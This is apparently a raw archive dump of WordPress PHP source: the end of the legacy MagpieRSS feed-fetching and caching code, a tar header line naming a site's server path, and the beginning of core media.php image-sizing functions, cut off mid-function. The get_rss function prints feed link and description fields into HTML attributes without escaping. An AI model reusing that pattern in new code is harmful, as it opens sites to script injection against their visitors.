	}
	// else cache is ON
	else {
		// Flow
		// 1. check cache
		// 2. if there is a hit, make sure it's fresh
		// 3. if cached obj fails freshness check, fetch remote
		// 4. if remote fails, return stale object, or error

		$cache = new RSSCache( MAGPIE_CACHE_DIR, MAGPIE_CACHE_AGE );

		if (MAGPIE_DEBUG and $cache->ERROR) {
			debug($cache->ERROR, E_USER_WARNING);
		}

		$cache_status 	 = 0;		// response of check_cache
		$request_headers = array(); // HTTP headers to send with fetch
		$rss 			 = 0;		// parsed RSS object
		$errormsg		 = 0;		// errors, if any

		if (!$cache->ERROR) {
			// return cache HIT, MISS, or STALE
			$cache_status = $cache->check_cache( $url );
		}

		// if object cached, and cache is fresh, return cached obj
		if ( $cache_status == 'HIT' ) {
			$rss = $cache->get( $url );
			if ( isset($rss) and $rss ) {
				$rss->from_cache = 1;
				if ( MAGPIE_DEBUG > 1) {
				debug("MagpieRSS: Cache HIT", E_USER_NOTICE);
			}
				return $rss;
			}
		}

		// else attempt a conditional get

		// set up headers
		if ( $cache_status == 'STALE' ) {
			$rss = $cache->get( $url );
			if ( isset($rss->etag) and $rss->last_modified ) {
				$request_headers['If-None-Match'] = $rss->etag;
				$request_headers['If-Last-Modified'] = $rss->last_modified;
			}
		}

		$resp = _fetch_remote_file( $url, $request_headers );

		if (isset($resp) and $resp) {
			if ($resp->status == '304' ) {
				// we have the most current copy
				if ( MAGPIE_DEBUG > 1) {
					debug("Got 304 for $url");
				}
				// reset cache on 304 (at minutillo insistent prodding)
				$cache->set($url, $rss);
				return $rss;
			}
			elseif ( is_success( $resp->status ) ) {
				$rss = _response_to_rss( $resp );
				if ( $rss ) {
					if (MAGPIE_DEBUG > 1) {
						debug("Fetch successful");
					}
					// add object to cache
					$cache->set( $url, $rss );
					return $rss;
				}
			}
			else {
				$errormsg = "Failed to fetch $url. ";
				if ( $resp->error ) {
					# compensate for Snoopy's annoying habit to tacking
					# on '\n'
					$http_error = substr($resp->error, 0, -2);
					$errormsg .= "(HTTP Error: $http_error)";
				}
				else {
					$errormsg .=  "(HTTP Response: " . $resp->response_code .')';
				}
			}
		}
		else {
			$errormsg = "Unable to retrieve RSS file for unknown reasons.";
		}

		// else fetch failed

		// attempt to return cached object
		if ($rss) {
			if ( MAGPIE_DEBUG ) {
				debug("Returning STALE object for $url");
			}
			return $rss;
		}

		// else we totally failed
		// error( $errormsg );

		return false;

	} // end if ( !MAGPIE_CACHE_ON ) {
} // end fetch_rss()
endif;

/**
 * Retrieve URL headers and content using WP HTTP Request API.
 *
 * @since 1.5.0
 * @package External
 * @subpackage MagpieRSS
 *
 * @param string $url URL to retrieve
 * @param array $headers Optional. Headers to send to the URL. Default empty string.
 * @return Snoopy style response
 */
function _fetch_remote_file($url, $headers = "" ) {
	$resp = wp_safe_remote_request( $url, array( 'headers' => $headers, 'timeout' => MAGPIE_FETCH_TIME_OUT ) );
	if ( is_wp_error($resp) ) {
		$error = array_shift($resp->errors);

		$resp = new stdClass;
		$resp->status = 500;
		$resp->response_code = 500;
		$resp->error = $error[0] . "\n"; //\n = Snoopy compatibility
		return $resp;
	}

	// Snoopy returns headers unprocessed.
	// Also note, WP_HTTP lowercases all keys, Snoopy did not.
	$return_headers = array();
	foreach ( wp_remote_retrieve_headers( $resp ) as $key => $value ) {
		if ( !is_array($value) ) {
			$return_headers[] = "$key: $value";
		} else {
			foreach ( $value as $v )
				$return_headers[] = "$key: $v";
		}
	}

	$response = new stdClass;
	$response->status = wp_remote_retrieve_response_code( $resp );
	$response->response_code = wp_remote_retrieve_response_code( $resp );
	$response->headers = $return_headers;
	$response->results = wp_remote_retrieve_body( $resp );

	return $response;
}

/**
 * Retrieve
 *
 * @since 1.5.0
 * @package External
 * @subpackage MagpieRSS
 *
 * @param array $resp
 * @return MagpieRSS|bool
 */
function _response_to_rss ($resp) {
	$rss = new MagpieRSS( $resp->results );

	// if RSS parsed successfully
	if ( $rss && (!isset($rss->ERROR) || !$rss->ERROR) ) {

		// find Etag, and Last-Modified
		foreach ( (array) $resp->headers as $h) {
			// 2003-03-02 - Nicola Asuni (www.tecnick.com) - fixed bug "Undefined offset: 1"
			if (strpos($h, ": ")) {
				list($field, $val) = explode(": ", $h, 2);
			}
			else {
				$field = $h;
				$val = "";
			}

			if ( $field == 'etag' ) {
				$rss->etag = $val;
			}

			if ( $field == 'last-modified' ) {
				$rss->last_modified = $val;
			}
		}

		return $rss;
	} // else construct error message
	else {
		$errormsg = "Failed to parse RSS file.";

		if ($rss) {
			$errormsg .= " (" . $rss->ERROR . ")";
		}
		// error($errormsg);

		return false;
	} // end if ($rss and !$rss->error)
}

/**
 * Set up constants with default values, unless user overrides.
 *
 * @since 1.5.0
 * 
 * @global string $wp_version The WordPress version string.
 * 
 * @package External
 * @subpackage MagpieRSS
 */
function init () {
	if ( defined('MAGPIE_INITALIZED') ) {
		return;
	}
	else {
		define('MAGPIE_INITALIZED', 1);
	}

	if ( !defined('MAGPIE_CACHE_ON') ) {
		define('MAGPIE_CACHE_ON', 1);
	}

	if ( !defined('MAGPIE_CACHE_DIR') ) {
		define('MAGPIE_CACHE_DIR', './cache');
	}

	if ( !defined('MAGPIE_CACHE_AGE') ) {
		define('MAGPIE_CACHE_AGE', 60*60); // one hour
	}

	if ( !defined('MAGPIE_CACHE_FRESH_ONLY') ) {
		define('MAGPIE_CACHE_FRESH_ONLY', 0);
	}

		if ( !defined('MAGPIE_DEBUG') ) {
		define('MAGPIE_DEBUG', 0);
	}

	if ( !defined('MAGPIE_USER_AGENT') ) {
		$ua = 'WordPress/' . $GLOBALS['wp_version'];

		if ( MAGPIE_CACHE_ON ) {
			$ua = $ua . ')';
		}
		else {
			$ua = $ua . '; No cache)';
		}

		define('MAGPIE_USER_AGENT', $ua);
	}

	if ( !defined('MAGPIE_FETCH_TIME_OUT') ) {
		define('MAGPIE_FETCH_TIME_OUT', 2);	// 2 second timeout
	}

	// use gzip encoding to fetch rss files if supported?
	if ( !defined('MAGPIE_USE_GZIP') ) {
		define('MAGPIE_USE_GZIP', true);
	}
}

function is_info ($sc) {
	return $sc >= 100 && $sc < 200;
}

function is_success ($sc) {
	return $sc >= 200 && $sc < 300;
}

function is_redirect ($sc) {
	return $sc >= 300 && $sc < 400;
}

function is_error ($sc) {
	return $sc >= 400 && $sc < 600;
}

function is_client_error ($sc) {
	return $sc >= 400 && $sc < 500;
}

function is_server_error ($sc) {
	return $sc >= 500 && $sc < 600;
}

class RSSCache {
	var $BASE_CACHE;	// where the cache files are stored
	var $MAX_AGE	= 43200;  		// when are files stale, default twelve hours
	var $ERROR 		= '';			// accumulate error messages

	/**
	 * PHP5 constructor.
	 */
	function __construct( $base = '', $age = '' ) {
		$this->BASE_CACHE = WP_CONTENT_DIR . '/cache';
		if ( $base ) {
			$this->BASE_CACHE = $base;
		}
		if ( $age ) {
			$this->MAX_AGE = $age;
		}

	}

	/**
	 * PHP4 constructor.
	 */
	public function RSSCache( $base = '', $age = '' ) {
		self::__construct( $base, $age );
	}

/*=======================================================================*\
	Function:	set
	Purpose:	add an item to the cache, keyed on url
	Input:		url from which the rss file was fetched
	Output:		true on success
\*=======================================================================*/
	function set ($url, $rss) {
		$cache_option = 'rss_' . $this->file_name( $url );

		set_transient($cache_option, $rss, $this->MAX_AGE);

		return $cache_option;
	}

/*=======================================================================*\
	Function:	get
	Purpose:	fetch an item from the cache
	Input:		url from which the rss file was fetched
	Output:		cached object on HIT, false on MISS
\*=======================================================================*/
	function get ($url) {
		$this->ERROR = "";
		$cache_option = 'rss_' . $this->file_name( $url );

		if ( ! $rss = get_transient( $cache_option ) ) {
			$this->debug(
				"Cache does not contain: $url (cache option: $cache_option)"
			);
			return 0;
		}

		return $rss;
	}

/*=======================================================================*\
	Function:	check_cache
	Purpose:	check a url for membership in the cache
				and whether the object is older then MAX_AGE (ie. STALE)
	Input:		url from which the rss file was fetched
	Output:		cached object on HIT, false on MISS
\*=======================================================================*/
	function check_cache ( $url ) {
		$this->ERROR = "";
		$cache_option = 'rss_' . $this->file_name( $url );

		if ( get_transient($cache_option) ) {
			// object exists and is current
				return 'HIT';
		} else {
			// object does not exist
			return 'MISS';
		}
	}

/*=======================================================================*\
	Function:	serialize
\*=======================================================================*/
	function serialize ( $rss ) {
		return serialize( $rss );
	}

/*=======================================================================*\
	Function:	unserialize
\*=======================================================================*/
	function unserialize ( $data ) {
		return unserialize( $data );
	}

/*=======================================================================*\
	Function:	file_name
	Purpose:	map url to location in cache
	Input:		url from which the rss file was fetched
	Output:		a file name
\*=======================================================================*/
	function file_name ($url) {
		return md5( $url );
	}

/*=======================================================================*\
	Function:	error
	Purpose:	register error
\*=======================================================================*/
	function error ($errormsg, $lvl=E_USER_WARNING) {
		$this->ERROR = $errormsg;
		if ( MAGPIE_DEBUG ) {
			wp_trigger_error( '', $errormsg, $lvl);
		}
		else {
			error_log( $errormsg, 0);
		}
	}
			function debug ($debugmsg, $lvl=E_USER_NOTICE) {
		if ( MAGPIE_DEBUG ) {
			$this->error("MagpieRSS [debug] $debugmsg", $lvl);
		}
	}
}

if ( !function_exists('parse_w3cdtf') ) :
function parse_w3cdtf ( $date_str ) {

	# regex to match W3C date/time formats
	$pat = "/(\d{4})-(\d{2})-(\d{2})T(\d{2}):(\d{2})(:(\d{2}))?(?:([-+])(\d{2}):?(\d{2})|(Z))?/";

	if ( preg_match( $pat, $date_str, $match ) ) {
		list( $year, $month, $day, $hours, $minutes, $seconds) =
			array( $match[1], $match[2], $match[3], $match[4], $match[5], $match[7]);

		# calc epoch for current date assuming GMT
		$epoch = gmmktime( $hours, $minutes, $seconds, $month, $day, $year);

		$offset = 0;
		if ( $match[11] == 'Z' ) {
			# zulu time, aka GMT
		}
		else {
			list( $tz_mod, $tz_hour, $tz_min ) =
				array( $match[8], $match[9], $match[10]);

			# zero out the variables
			if ( ! $tz_hour ) { $tz_hour = 0; }
			if ( ! $tz_min ) { $tz_min = 0; }

			$offset_secs = (($tz_hour*60)+$tz_min)*60;

			# is timezone ahead of GMT?  then subtract offset
			#
			if ( $tz_mod == '+' ) {
				$offset_secs = $offset_secs * -1;
			}

			$offset = $offset_secs;
		}
		$epoch = $epoch + $offset;
		return $epoch;
	}
	else {
		return -1;
	}
}
endif;

if ( !function_exists('wp_rss') ) :
/**
 * Display all RSS items in a HTML ordered list.
 *
 * @since 1.5.0
 * @package External
 * @subpackage MagpieRSS
 *
 * @param string $url URL of feed to display. Will not auto sense feed URL.
 * @param int $num_items Optional. Number of items to display, default is all.
 */
function wp_rss( $url, $num_items = -1 ) {
	if ( $rss = fetch_rss( $url ) ) {
		echo '<ul>';

		if ( $num_items !== -1 ) {
			$rss->items = array_slice( $rss->items, 0, $num_items );
		}

		foreach ( (array) $rss->items as $item ) {
			printf(
				'<li><a href="%1$s" title="%2$s">%3$s</a></li>',
				esc_url( $item['link'] ),
				esc_attr( strip_tags( $item['description'] ) ),
				esc_html( $item['title'] )
			);
		}

		echo '</ul>';
	} else {
		_e( 'An error has occurred, which probably means the feed is down. Try again later.' );
	}
}
endif;

if ( !function_exists('get_rss') ) :
/**
 * Display RSS items in HTML list items.
 *
 * You have to specify which HTML list you want, either ordered or unordered
 * before using the function. You also have to specify how many items you wish
 * to display. You can't display all of them like you can with wp_rss()
 * function.
 *
 * @since 1.5.0
 * @package External
 * @subpackage MagpieRSS
 *
 * @param string $url URL of feed to display. Will not auto sense feed URL.
 * @param int $num_items Optional. Number of items to display, default is all.
 * @return bool False on failure.
 */
function get_rss ($url, $num_items = 5) { // Like get posts, but for RSS
	$rss = fetch_rss($url);
	if ( $rss ) {
		$rss->items = array_slice($rss->items, 0, $num_items);
		foreach ( (array) $rss->items as $item ) {
			echo "<li>\n";
			echo "<a href='$item[link]' title='$item[description]'>";
			echo esc_html($item['title']);
			echo "</a><br />\n";
			echo "</li>\n";
		}
	} else {
		return false;
	}
}
endif;
uploads/wyw/media.php.tar000066600000664000152443022640011432 0ustar00home/cienp/public_html/inct-inovamed/wp-includes/media.php000064400000660077152442706270017704 0ustar00<?php
/**
 * WordPress API for media display.
 *
 * @package WordPress
 * @subpackage Media
 */

// Don't load directly.
if ( ! defined( 'ABSPATH' ) ) {
	die( '-1' );
}

/**
 * Retrieves additional image sizes.
 *
 * @since 4.7.0
 *
 * @global array $_wp_additional_image_sizes
 *
 * @return array Additional images size data.
 */
function wp_get_additional_image_sizes() {
	global $_wp_additional_image_sizes;

	if ( ! $_wp_additional_image_sizes ) {
		$_wp_additional_image_sizes = array();
	}

	return $_wp_additional_image_sizes;
}

/**
 * Scales down the default size of an image.
 *
 * This is so that the image is a better fit for the editor and theme.
 *
 * The `$size` parameter accepts either an array or a string. The supported string
 * values are 'thumb' or 'thumbnail' for the given thumbnail size or defaults at
 * 128 width and 96 height in pixels. Also supported for the string value is
 * 'medium', 'medium_large' and 'full'. The 'full' isn't actually supported, but any value other
 * than the supported will result in the content_width size or 500 if that is
 * not set.
 *
 * Finally, there is a filter named {@see 'editor_max_image_size'}, that will be
 * called on the calculated array for width and height, respectively.
 *
 * @since 2.5.0
 *
 * @global int $content_width
 *
 * @param int          $width   Width of the image in pixels.
 * @param int          $height  Height of the image in pixels.
 * @param string|int[] $size    Optional. Image size. Accepts any registered image size name, or an array
 *                              of width and height values in pixels (in that order). Default 'medium'.
 * @param string       $context Optional. Could be 'display' (like in a theme) or 'edit'
 *                              (like inserting into an editor). Default null.
 * @return int[] {
 *     An array of width and height values.
 *
 *     @type int $0 The maximum width in pixels.
 *     @type int $1 The maximum height in pixels.
 * }
 */
function image_constrain_size_for_editor( $width, $height, $size = 'medium', $context = null ) {
	global $content_width;

	$_wp_additional_image_sizes = wp_get_additional_image_sizes();

	if ( ! $context ) {
		$context = is_admin() ? 'edit' : 'display';
	}

	if ( is_array( $size ) ) {
		$max_width  = $size[0];
		$max_height = $size[1];
	} elseif ( 'thumb' === $size || 'thumbnail' === $size ) {
		$max_width  = (int) get_option( 'thumbnail_size_w' );
		$max_height = (int) get_option( 'thumbnail_size_h' );
		// Last chance thumbnail size defaults.
		if ( ! $max_width && ! $max_height ) {
			$max_width  = 128;
			$max_height = 96;
		}
	} elseif ( 'medium' === $size ) {
		$max_width  = (int) get_option( 'medium_size_w' );
		$max_height = (int) get_option( 'medium_size_h' );

	} elseif ( 'medium_large' === $size ) {
		$max_width  = (int) get_option( 'medium_large_size_w' );
		$max_height = (int) get_option( 'medium_large_size_h' );

		if ( (int) $content_width > 0 ) {
			$max_width = min( (int) $content_width, $max_width );
		}
	} elseif ( 'large' === $size ) {
		/*
		 * We're inserting a large size image into the editor. If it's a really
		 * big image we'll scale it down to fit reasonably within the editor
		 * itself, and within the theme's content width if it's known. The user
		 * can resize it in the editor if they wish.
		 */
		$max_width  = (int) get_option( 'large_size_w' );
		$max_height = (int) get_option( 'large_size_h' );

		if ( (int) $content_width > 0 ) {
			$max_width = min( (int) $content_width, $max_width );
		}
	} elseif ( ! empty( $_wp_additional_image_sizes ) && in_array( $size, array_keys( $_wp_additional_image_sizes ), true ) ) {
		$max_width  = (int) $_wp_additional_image_sizes[ $size ]['width'];
		$max_height = (int) $_wp_additional_image_sizes[ $size ]['height'];
		// Only in admin. Assume that theme authors know what they're doing.
		if ( (int) $content_width > 0 && 'edit' === $context ) {
			$max_width = min( (int) $content_width, $max_width );
		}
	} else { // $size === 'full' has no constraint.
		$max_width  = $width;
		$max_height = $height;
	}

	/**
	 * Filters the maximum image size dimensions for the editor.
	 *
	 * @since 2.5.0
	 *
	 * @param int[]        $max_image_size {
	 *     An array of width and height values.
	 *
	 *     @type int $0 The maximum width in pixels.
	 *     @type int $1 The maximum height in pixels.
	 * }
	 * @param string|int[] $size     Requested image size. Can be any registered image size name, or
	 *                               an array of width and height values in pixels (in that order).
	 * @param string       $context  The context the image is being resized for.
	 *                               Possible values are 'display' (like in a theme)
	 *                               or 'edit' (like inserting into an editor).
	 */
	list( $max_width, $max_height ) = apply_filters( 'editor_max_image_size', array( $max_width, $max_height ), $size, $context );

	return wp_constrain_dimensions( $width, $height, $max_width, $max_height );
}

/**
 * Retrieves width and height attributes using given width and height values.
 *
 * Both attributes are required in the sense that both parameters must have a
 * value, but are optional in that if you set them to false or null, then they
 * will not be added to the returned string.
 *
 * You can set the value using a string, but it will only take numeric values.
 * If you wish to put 'px' after the numbers, then it will be stripped out of
 * the return.
 *
 * @since 2.5.0
 *
 * @param int|string $width  Image width in pixels.
 * @param int|string $height Image height in pixels.
 * @return string HTML attributes for width and, or height.
 */
function image_hwstring( $width, $height ) {
	$out = '';
	if ( $width ) {
		$out .= 'width="' . (int) $width . '" ';
	}
	if ( $height ) {
		$out .= 'height="' . (int) $height . '" ';
	}
	return $out;
}

/**
 * Scales an image to fit a particular size (such as 'thumb' or 'medium').
 *
 * The URL might be the original image, or it might be a resized version. This
 * function won't create a new resized copy, it will just return an already
 * resized one if it exists.
 *
 * A plugin may use the {@see 'image_downsize'} filter to hook into and offer image
 * resizing services for images. The hook must return an array with the same
 * elements that are normally returned from the function.
 *
 * @since 2.5.0
 *
 * @param int          $id   Attachment ID for image.
 * @param string|int[] $size Optional. Image size. Accepts any registered image size name, or an array
 *                           of width and height values in pixels (in that order). Default 'medium'.
 * @return array|false {
 *     Array of image data, or boolean false if no image is available.
 *
 *     @type string $0 Image source URL.
 *     @type int    $1 Image width in pixels.
 *     @type int    $2 Image height in pixels.
 *     @type bool   $3 Whether the image is a resized image.
 * }
 */
function image_downsize( $id, $size = 'medium' ) {
	$is_image = wp_attachment_is_image( $id );

	/**
	 * Filters whether to preempt the output of image_downsize().
	 *
	 * Returning a truthy value from the filter will effectively short-circuit
	 * down-sizing the image, returning that value instead.
	 *
	 * @since 2.5.0
	 *
	 * @param bool|array   $downsize Whether to short-circuit the image downsize.
	 * @param int          $id       Attachment ID for image.
	 * @param string|int[] $size     Requested image size. Can be any registered image size name, or
	 *                               an array of width and height values in pixels (in that order).
	 */
	$out = apply_filters( 'image_downsize', false, $id, $size );

	if ( $out ) {
		return $out;
	}

	$img_url          = wp_get_attachment_url( $id );
	$meta             = wp_get_attachment_metadata( $id );
	$width            = 0;
	$height           = 0;
	$is_intermediate  = false;
	$img_url_basename = wp_basename( $img_url );

	/*
	 * If the file isn't an image, attempt to replace its URL with a rendered image from its meta.
	 * Otherwise, a non-image type could be returned.
	 */
	if ( ! $is_image ) {
		if ( ! empty( $meta['sizes']['full'] ) ) {
			$img_url          = str_replace( $img_url_basename, $meta['sizes']['full']['file'], $img_url );
			$img_url_basename = $meta['sizes']['full']['file'];
			$width            = $meta['sizes']['full']['width'];
			$height           = $meta['sizes']['full']['height'];
		} else {
			return false;
		}
	}

	// Try for a new style intermediate size.
	$intermediate = image_get_intermediate_size( $id, $size );

	if ( $intermediate ) {
		$img_url         = str_replace( $img_url_basename, $intermediate['file'], $img_url );
		$width           = $intermediate['width'];
		$height          = $intermediate['height'];
		$is_intermediate = true;
	} elseif ( 'thumbnail' === $size && ! empty( $meta['thumb'] ) && is_string( $meta['thumb'] ) ) {
		// Fall back to the old thumbnail.
		$imagefile = get_attached_file( $id );
		$thumbfile = str_replace( wp_basename( $imagefile ), wp_basename( $meta['thumb'] ), $imagefile );

		if ( file_exists( $thumbfile ) ) {
			$info = wp_getimagesize( $thumbfile );

			if ( $info ) {
				$img_url         = str_replace( $img_url_basename, wp_basename( $thumbfile ), $img_url );
				$width           = $info[0];
				$height          = $info[1];
				$is_intermediate = true;
			}
		}
	}

	if ( ! $width && ! $height && isset( $meta['width'], $meta['height'] ) ) {
		// Any other type: use the real image.
		$width  = $meta['width'];
		$height = $meta['height'];
	}

	if ( $img_url ) {
		// We have the actual image size, but might need to further constrain it if content_width is narrower.
		list( $width, $height ) = image_constrain_size_for_editor( $width, $height, $size );

		return array( $img_url, $width, $height, $is_intermediate );
	}

	return false;
}

/**
 * Registers a new image size.
 *
 * @since 2.9.0
 *
 * @global array $_wp_additional_image_sizes Associative array of additional image sizes.
 *
 * @param string     $name   Image size identifier.
 * @param int        $width  Optional. Image width in pixels. Default 0.
 * @param int        $height Optional. Image height in pixels. Default 0.
 * @param bool|array $crop   {
 *     Optional. Image cropping behavior. If false, the image will be scaled (default).
 *     If true, image will be cropped to the specified dimensions using center positions.
 *     If an array, the image will be cropped using the array to specify the crop location:
 *
 *     @type string $0 The x crop position. Accepts 'left', 'center', or 'right'.
 *     @type string $1 The y crop position. Accepts 'top', 'center', or 'bottom'.
 * }
 */
function add_image_size( $name, $width = 0, $height = 0, $crop = false ) {
	global $_wp_additional_image_sizes;

	$_wp_additional_image_sizes[ $name ] = array(
		'width'  => absint( $width ),
		'height' => absint( $height ),
		'crop'   => $crop,
	);
}

/**
 * Checks if an image size exists.
 *
 * @since 3.9.0
 *
 * @param string $name The image size to check.
 * @return bool True if the image size exists, false if not.
 */
function has_image_size( $name ) {
	$sizes = wp_get_additional_image_sizes();
	return isset( $sizes[ $name ] );
}

/**
 * Removes a new image size.
 *
 * @since 3.9.0
 *
 * @global array $_wp_additional_image_sizes
 *
 * @param string $name The image size to remove.
 * @return bool True if the image size was successfully removed, false on failure.
 */
function remove_image_size( $name ) {
	global $_wp_additional_image_sizes;

	if ( isset( $_wp_additional_image_sizes[ $name ] ) ) {
		unset( $_wp_additional_image_sizes[ $name ] );
		return true;
	}

	return false;
}

/**
 * Registers an image size for the post thumbnail.
 *
 * @since 2.9.0
 *
 * @see add_image_size() for details on cropping behavior.
 *
 * @param int        $width  Image width in pixels.
 * @param int        $height Image height in pixels.
 * @param bool|array $crop   {
 *     Optional. Image cropping behavior. If false, the image will be scaled (default).
 *     If true, image will be cropped to the specified dimensions using center positions.
 *     If an array, the image will be cropped using the array to specify the crop location:
 *
 *     @type string $0 The x crop position. Accepts 'left', 'center', or 'right'.
 *     @type string $1 The y crop position. Accepts 'top', 'center', or 'bottom'.
 * }
 */
function set_post_thumbnail_size( $width = 0, $height = 0, $crop = false ) {
	add_image_size( 'post-thumbnail', $width, $height, $crop );
}

/**
 * Gets an img tag for an image attachment, scaling it down if requested.
 *
 * The {@see 'get_image_tag_class'} filter allows for changing the class name for the
 * image without having to use regular expressions on the HTML content. The
 * parameters are: what WordPress will use for the class, the Attachment ID,
 * image align value, and the size the image should be.
 *
 * The second filter, {@see 'get_image_tag'}, has the HTML content, which can then be
 * further manipulated by a plugin to change all attribute values and even HTML
 * content.
 *
 * @since 2.5.0
 *
 * @param int          $id    Attachment ID.
 * @param string       $alt   Image description for the alt attribute.
 * @param string       $title Image description for the title attribute.
 * @param string       $align Part of the class name for aligning the image.
 * @param string|int[] $size  Optional. Image size. Accepts any registered image size name, or an array of
 *                            width and height values in pixels (in that order). Default 'medium'.
 * @return string HTML IMG element for given image attachment.
 */
function get_image_tag( $id, $alt, $title, $align, $size = 'medium' ) {

	list( $img_src, $width, $height ) = image_downsize( $id, $size );
	$hwstring                         = image_hwstring( $width, $height );

	$title = $title ? 'title="' . esc_attr( $title ) . '" ' : '';

	$size_class = is_array( $size ) ? implode( 'x', $size ) : $size;
	$class      = 'align' . esc_attr( $align ) . ' size-' . esc_attr( $size_class ) . ' wp-image-' . $id;

	/**
	 * Filters the value of the attachment's image tag class attribute.
	 *
	 * @since 2.6.0
	 *
	 * @param string       $class CSS class name or space-separated list of classes.
	 * @param int          $id    Attachment ID.
	 * @param string       $align Part of the class name for aligning the image.
	 * @param string|int[] $size  Requested image size. Can be any registered image size name, or
	 *                            an array of width and height values in pixels (in that order).
	 */
	$class = apply_filters( 'get_image_tag_class', $class, $id, $align, $size );

	$html = '<img src="' . esc_url( $img_src ) . '" alt="' . esc_attr( $alt ) . '" ' . $title . $hwstring . 'class="' . $class . '" />';

	/**
	 * Filters the HTML content for the image tag.
	 *
	 * @since 2.6.0
	 *
	 * @param string       $html  HTML content for the image.
	 * @param int          $id    Attachment ID.
	 * @param string       $alt   Image description for the alt attribute.
	 * @param string       $title Image description for the title attribute.
	 * @param string       $align Part of the class name for aligning the image.
	 * @param string|int[] $size  Requested image size. Can be any registered image size name, or
	 *                            an array of width and height values in pixels (in that order).
	 */
	return apply_filters( 'get_image_tag', $html, $id, $alt, $title, $align, $size );
}

/**
 * Calculates the new dimensions for a down-sampled image.
 *
 * If either width or height are empty, no constraint is applied on
 * that dimension.
 *
 * @since 2.5.0
 *
 * @param int $current_width  Current width of the image.
 * @param int $current_height Current height of the image.
 * @param int $max_width      Optional. Max width in pixels to constrain to. Default 0.
 * @param int $max_height     Optional. Max height in pixels to constrain to. Default 0.
 * @return int[] {
 *     An array of width and height values.
 *
 *     @type int $0 The width in pixels.
 *     @type int $1 The height in pixels.
 * }
 */
function wp_constrain_dimensions( $current_width, $current_height, $max_width = 0, $max_height = 0 ) {
	if ( ! $max_width && ! $max_height ) {
		return array( $current_width, $current_height );
	}

	$width_ratio  = 1.0;
	$height_ratio = 1.0;
	$did_width    = false;
	$did_height   = false;

	if ( $max_width > 0 && $current_width > 0 && $current_width > $max_width ) {
		$width_ratio = $max_width / $current_width;
		$did_width   = true;
	}

	if ( $max_height > 0 && $current_height > 0 && $current_height > $max_height ) {
		$height_ratio = $max_height / $current_height;
		$did_height   = true;
	}

	// Calculate the larger/smaller ratios.
	$smaller_ratio = min( $width_ratio, $height_ratio );
	$larger_ratio  = max( $width_ratio, $height_ratio );

	if ( (int) round( $current_width * $larger_ratio ) > $max_width || (int) round( $current_height * $larger_ratio ) > $max_height ) {
		// The larger ratio is too big. It would result in an overflow.
		$ratio = $smaller_ratio;
	} else {
		// The larger ratio fits, and is likely to be a more "snug" fit.
		$ratio = $larger_ratio;
	}

	// Very small dimensions may result in 0, 1 should be the minimum.
	$w = max( 1, (int) round( $current_width * $ratio ) );
	$h = max( 1, (int) round( $current_height * $ratio ) );

	/*
	 * Sometimes, due to rounding, we'll end up with a result like this:
	 * 465x700 in a 177x177 box is 117x176... a pixel short.
	 * We also have issues with recursive calls resulting in an ever-changing result.
	 * Constraining to the result of a constraint should yield the original result.
	 * Thus we look for dimensions that are one pixel shy of the max value and bump them up.
	 */

	// Note: $did_width means it is possible $smaller_ratio == $width_ratio.
	if ( $did_width && $w === $max_width - 1 ) {
		$w = $max_width; // Round it up.
	}

	// Note: $did_height means it is possible $smaller_ratio == $height_ratio.
	if ( $did_height && $h === $max_height - 1 ) {
		$h = $max_height; // Round it up.
	}

	/**
	 * Filters dimensions to constrain down-sampled images to.
	 *
	 * @since 4.1.0
	 *
	 * @param int[] $dimensions     {
	 *     An array of width and height values.
	 *
	 *     @type int $0 The width in pixels.
	 *     @type int $1 The height in pixels.
	 * }
	 * @param int   $current_width  The current width of the image.
	 * @param int   $current_height The current height of the image.
	 * @param int   $max_width      The maximum width permitted.
	 * @param int   $max_height     The maximum height permitted.
	 */
	return apply_filters( 'wp_constrain_dimensions', array( $w, $h ), $current_width, $current_height, $max_width, $max_height );
}

/**
 * Retrieves calculated resize dimensions for use in WP_Image_Editor.
 *
 * Calculates dimensions and coordinates for a resized image that fits
 * within a specified width and height.
 *
 * @since 2.5.0
 *
 * @param int        $orig_w Original width in pixels.
 * @param int        $orig_h Original height in pixels.
 * @param int        $dest_w New width in pixels.
 * @param int        $dest_h New height in pixels.
 * @param bool|array $crop   {
 *     Optional. Image cropping behavior. If false, the image will be scaled (default).
 *     If true, image will be cropped to the specified dimensions using center positions.
 *     If an array, the image will be cropped using the array to specify the crop location:
 *
 *     @type string $0 The x crop position. Accepts 'left', 'center', or 'right'.
 *     @type string $1 The y crop position. Accepts 'top', 'center', or 'bottom'.
 * }
 * @return array|false Returned array matches parameters for `imagecopyresampled()`. False on failure.
 */
function image_resize_dimensions( $orig_w, $orig_h, $dest_w, $dest_h, $crop = false ) {

	if ( $orig_w <= 0 || $orig_h <= 0 ) {
		return false;
	}
	// At least one of $dest_w or $dest_h must be specific.
	if ( $dest_w <= 0 && $dest_h <= 0 ) {
		return false;
	}

	/**
	 * Filters whether to preempt calculating the image resize dimensions.
	 *
	 * Returning a non-null value from the filter will effectively short-circuit
	 * image_resize_dimensions(), returning that value instead.
	 *
	 * @since 3.4.0
	 *
	 * @param null|mixed $null   Whether to preempt output of the resize dimensions.
	 * @param int        $orig_w Original width in pixels.
	 * @param int        $orig_h Original height in pixels.
	 * @param int        $dest_w New width in pixels.
	 * @param int        $dest_h New height in pixels.
	 * @param bool|array $crop   Whether to crop image to specified width and height or resize.
	 *                           An array can specify positioning of the crop area. Default false.
	 */
	$output = apply_filters( 'image_resize_dimensions', null, $orig_w, $orig_h, $dest_w, $dest_h, $crop );

	if ( null !== $output ) {
		return $output;
	}

	// Stop if the destination size is larger than the original image dimensions.
	if ( empty( $dest_h ) ) {
		if ( $orig_w < $dest_w ) {
			return false;
		}
	} elseif ( empty( $dest_w ) ) {
		if ( $orig_h < $dest_h ) {
			return false;
		}
	} else {
		if ( $orig_w < $dest_w && $orig_h < $dest_h ) {
			return false;
		}
	}

	if ( $crop ) {
		/*
		 * Crop the largest possible portion of the original image that we can size to $dest_w x $dest_h.
		 * Note that the requested crop dimensions are used as a maximum bounding box for the original image.
		 * If the original image's width or height is less than the requested width or height
		 * only the greater one will be cropped.
		 * For example when the original image is 600x300, and the requested crop dimensions are 400x400,
		 * the resulting image will be 400x300.
		 */
		$aspect_ratio = $orig_w / $orig_h;
		$new_w        = min( $dest_w, $orig_w );
		$new_h        = min( $dest_h, $orig_h );

		if ( ! $new_w ) {
			$new_w = (int) round( $new_h * $aspect_ratio );
		}

		if ( ! $new_h ) {
			$new_h = (int) round( $new_w / $aspect_ratio );
		}

		$size_ratio = max( $new_w / $orig_w, $new_h / $orig_h );

		$crop_w = round( $new_w / $size_ratio );
		$crop_h = round( $new_h / $size_ratio );

